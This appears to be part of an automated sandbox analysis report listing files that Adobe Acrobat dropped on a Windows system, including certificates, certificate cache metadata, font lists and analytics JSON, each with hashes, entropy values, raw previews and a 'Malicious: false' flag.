Preview:	.... .c.......c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklMoGkGpl/tfllXlE/HT8k7MzvNNX8RolJuRdxLlGB9lQRYwpDdt:kKVCGpteT8yaNMa8RdWBwRd
MD5:	08D2CE973270C0FCA17FBE37DF7EF67D
SHA1:	704980E5C263A6DF38547298C872454CD1542D66
SHA-256:	83AA347F552DC872A814964AF399EC508ED3996EDE3C3EEA5E89B242D522BA1A
SHA-512:	AB1226FD1B0F0890500FADA27674D16FE8C16130EB8F972F1A3AF6BDD5715C8451D9D6D960911BC80EE1DABA3ECADD2DC5DEB9E4EC1AAE01EA96318FFF8A0F87
Malicious:	false
Preview:	p...... ..........<].c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2242657028498978
Encrypted:	false
SSDEEP:	6:kKDZhtL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:7ZhtiDImsLNkPlE99SNxAhUe/3
MD5:	8A99DC77879BA5322331C3D6A063D145
SHA1:	900F2FB1EA75DE04A0746DD879C874A90DC5FE0C
SHA-256:	EB4AB5715A2CE6B7AA3DC13D499B3594B427883C3B4E6D5125504056F993D595
SHA-512:	DCCB094D2ED8556EEBB627F68F5F677B74E01671A6052049E5FFA51A2FF186102DAC9BA5A75D60A411DD13052618A49FEEC634221DAF780B0E11A15E468B30F8
Malicious:	false
Preview:	p...... ........G..o.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2324

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2324

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.362140844693786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJM3g98kUwPeUkwRe9:YvXKXeGDjKGc3sGMbLUkee9
MD5:	BE855DDA3F616DB809F2CF763449C909
SHA1:	8D6640E5B9C811B078BD9B122DA16F5E29DDF488
SHA-256:	1271F7DF9B49524A8C58E8B12B8E3D863301996665461467CD11CD74C4FD54F2
SHA-512:	8956908BA1E624B18F54F604206F9BFB865A21126AB2A2807DE4C32F0F5E800446613C3C4EE6804444E0B0A9488BAF7579665AC8E5D2BC73C60A7662B8CE7ECE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313539275176998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfBoTfXpnrPeUkwRe9:YvXKXeGDjKGc3sGWTfXcUkee9
MD5:	F08B3EA1BFAEB62DB6C24C6F68E28BEA
SHA1:	C0BFF25D1B2D2093D1B276B629FE75D6AA716803
SHA-256:	BA8DF2512370E33F928C68DDC9D3A57D1E71B3D5D474A2A95D2E542299FCAE6D
SHA-512:	A569136A70816A5EA7F554CC74B83DF9460BDD458F77B8DFD17577B7622B9B590849ABB06F3231E5F0CDC8050E2684E41C97F27D9E483412EC96353BA1FD6C9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.291950948441859
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfBD2G6UpnrPeUkwRe9:YvXKXeGDjKGc3sGR22cUkee9
MD5:	0BE074672E8B059F0F95B4388A52DBC0
SHA1:	CED2C1877CE45D30C984EBAEBF1C292F76773767
SHA-256:	A336EA619C51E6BB445D9D5010456090CC652A4BB6E486BD7240D6790FC9F1F8
SHA-512:	3CB3AD813047307498DE2CD2E68D195F6D31696E0CC11438CCF5D873DBED3C9BF8784807069A3F2F848A59C90D6AC37F279CC885E23E2A18B9A6A93D94D63D5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.342120524160411
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfPmwrPeUkwRe9:YvXKXeGDjKGc3sGH56Ukee9
MD5:	944C2176E771C8FE70FDAE2E04EB2FF9
SHA1:	D0CC2E6A94FE1E1AAE22A289767D858FD20B2613
SHA-256:	A2347527F736539B1B7ADC8371410857B33FE99161303F28B6E8A21DE024060B
SHA-512:	D01C896931EF7C8B3601E4066778A1E155DF4D8A0E4113FEAD0099182CA060940F21891FAA8128AD25DF856F640CBF4CDF9986497AA4D3C542BDB0D5C66FB7C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.682903286012762
Encrypted:	false
SSDEEP:	24:Yv6XeGDjU3JpLgE9cQx8LennAvzBvkn0RCmK8czOCCS8Er:Yv5gjUhgy6SAFv5Ah8cv/H
MD5:	FAD2EED92A17070728164DA53907D518
SHA1:	BAE9BC0DF2683806D21EA34F20B1145EE6D71181
SHA-256:	BE25C741C7EA0FBEEEB6159F3916309FF62E0A610EFA04F0B919ABC495BE5823
SHA-512:	2A8B858BA5558157350A796339C36359310EF878C0A595AD855D86ABF3DD55B7AA218DD1509CD2D57B3F6EE09E72CAD19057E5A08A9C897620B4BF0B4957A703
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288545892768216
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJf8dPeUkwRe9:YvXKXeGDjKGc3sGU8Ukee9
MD5:	604AD44A3C73E9AF665A74B87863442A
SHA1:	C95FE2ED718291F5A1D178A63CD9C6F3A919ED8C
SHA-256:	1D408754F9C3D241B1A3A97FC60DFD36198E0C477E15E4A9CA5FA3919884439F
SHA-512:	F3E304DB8B453DD6C91B1B361E5D95F2D5494F95D406F10E6BB2BC72339D65DD590A15D3078AF073F5D65EE57AA5346163CE663F8692E7DA9D319C4D824323EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2907321999848484
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfQ1rPeUkwRe9:YvXKXeGDjKGc3sGY16Ukee9
MD5:	353D14F74AE235C9051E6681975923F4
SHA1:	0122E09718A2546D279CD59EDDEBDED6684BDE45
SHA-256:	8D2D2C45BBFAAB6BFBD449DF4F6103A97D5E9E25B13E01B390C31621F46BCCB6
SHA-512:	FBFA6CB0C6BF27782A2DA7D71826A3F448A35AC24B0B2523CA2590AC2B8B664EDA928495FEC1F7B7C2B01038EBB52AD7C3705F718C3349382FB33851F9CDDE53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297933387628728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfFldPeUkwRe9:YvXKXeGDjKGc3sGz8Ukee9
MD5:	760527373C6F05445B315641EB71A23E
SHA1:	6D83B35576D7FBDA68B8EA44D7CFBEC5BB12BEAF
SHA-256:	1324477DB56C6E58697BDD10B88334B4CEE60C96A412AEFCDC5A9EDD3EF0CDB7
SHA-512:	A389CB4B7D187FE60052CCD095F5D5945A762DAB4B271E98A423CED869C4266CCED4FD17E42DCCE849D91D365E6D927420C462071A8F3E9CC5A7E39AB33605E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e06213de-26dd-4407-b4fc-cde664a9c5b1","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736730099987,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.315916637298206
Encrypted:	false
SSDEEP:	6:YEQXJ2HXeEND3zKGnZiQ0YQxRDoAvJfzdPeUkwRe9:YvXKXeGDjKGc3sGb8Ukee9
MD5:	BF26B411535707FD48BB618EB79F197B
SHA1:	4FB287E98C5F65450EF5D86BD00917AD7E040D92
SHA-256:	25D33D5380E37E1111DEB8EB18C073475AF49B3E2DD39F0192102B69FD8A73F8
SHA-512:	D197F897F86035D66C4A7B39ADC2F39A9903D144626E555A15970ACF4DA29B7BF3D62C109169F54A19DDB959614946FC4281778E383EAE93E4F5708FFB67E26C
Malicious:	false
